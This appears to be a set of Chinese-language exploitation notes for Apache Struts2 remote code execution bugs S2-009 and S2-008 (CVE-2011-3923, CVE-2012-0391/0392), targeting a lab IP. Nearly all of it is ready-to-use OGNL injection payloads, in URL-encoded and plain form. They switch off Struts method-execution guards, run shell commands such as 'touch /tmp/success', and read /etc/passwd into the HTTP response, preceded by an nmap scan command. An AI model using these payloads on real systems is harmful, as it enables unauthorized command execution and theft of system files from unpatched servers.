(CVE-2011-3923)(CVE-2012-0391)
Struts2-009 远程代码执行漏洞（CVE-2011-3923）
影响范围：Struts2 2.0.0-2.3.1.2
信息收集：nmap 192.168.85.130 -p 8080 -sV -A
payload：http://192.168.85.130:8080/ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true
Struts2-008 远程代码执行漏洞（CVE-2012-0391/CVE-2012-0392）
影响范围：Struts2 2.0.0-2.3.1.2
信息收集：nmap 192.168.85.130 -p 8080 -sV -A
文件读取：devmode.action?debug=command&expression=%28%23w%3Dnew%20java.io.File%28%22%2fetc%2fpasswd%22%29%2C%23a%3Dnew%20java.io.FileInputStream%28%23w%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read%28%23d%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new%20java.lang.String%28%23d%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%29
devmode.action?debug=command&expression=(#w=new java.io.File("/etc/passwd"),#a=new java.io.FileInputStream(#w),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#d)),#f.getWriter().flush(),#f.getWriter().close())
命令执行：devmode.action?debug=command&expression=%28%23a%3D%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%22cat%22%2C%22%2fetc%2fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B5000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%29
devmode.action?debug=command&expression=(#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[5000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close())
文件上传：devmode.action?debug=command&expression=%28%23a%3D%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%22touch%22%2C%22%2ftmp%2fsuccess%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B5000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%29
devmode.action? debug=command&expression=(#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"touch","/tmp/success"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[5000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close())
